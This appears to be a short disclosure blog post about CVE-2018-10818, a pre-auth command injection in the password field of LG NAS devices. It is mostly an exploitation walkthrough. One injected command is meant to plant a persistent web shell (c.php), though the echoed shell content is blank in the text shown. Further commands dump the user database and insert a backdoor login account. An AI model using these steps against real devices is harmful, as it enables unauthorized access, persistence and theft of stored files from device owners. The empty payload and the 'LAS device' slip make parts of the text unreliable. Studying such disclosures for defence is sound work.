Exploitation
The vulnerability (CVE-2018-10818) is a pre-auth remote command injection vulnerability found in the majority of LG NAS devices. You cannot simply log in with any random username and password. However, there lies a command injection vulnerability in the “password” parameter (you have to use an interceptor like burp). We can simply trigger this bug by adding to it. To add a new user, we can simply write a persistent shell called c.php by using: ;echo “” > /tmp/x2;sudo mv /tmp/x2 /var/www/c.php Entering it as a password exploits the vulnerability. Then, by passing the following command, we can “dump” the users: echo “.dump user” | sqlite3 /etc/nas/db/share.db Dumping means reading all database data. We dump the database so we can see the users’ usernames and passwords. This also lets us add our own. To add a new user into the database, we need to generate a valid MD5. We can use the included MD5 tool to create a hash with the username “test” and the password “1234.” sudo nas-common md5 1234 Once we have a valid password and username, we can add it to the database with the following: INSERT INTO “user” VALUES(‘test’,’md5_hash’,’Vuln Test’,’test@localhost’,’’); After this is complete, we can log in to the LG Network Storage with the username test and the password 1234. This gives us access to the system as an authorized user. From here we can access any data or classified files that are stored on the LAS device.
Recommendations
Be aware that LAS devices can be hacked and exploited. Contact LG and let them know about this vulnerability and demand they fix it. Warn your friends on facebook (here’s a link), or twitter (click to tweet)
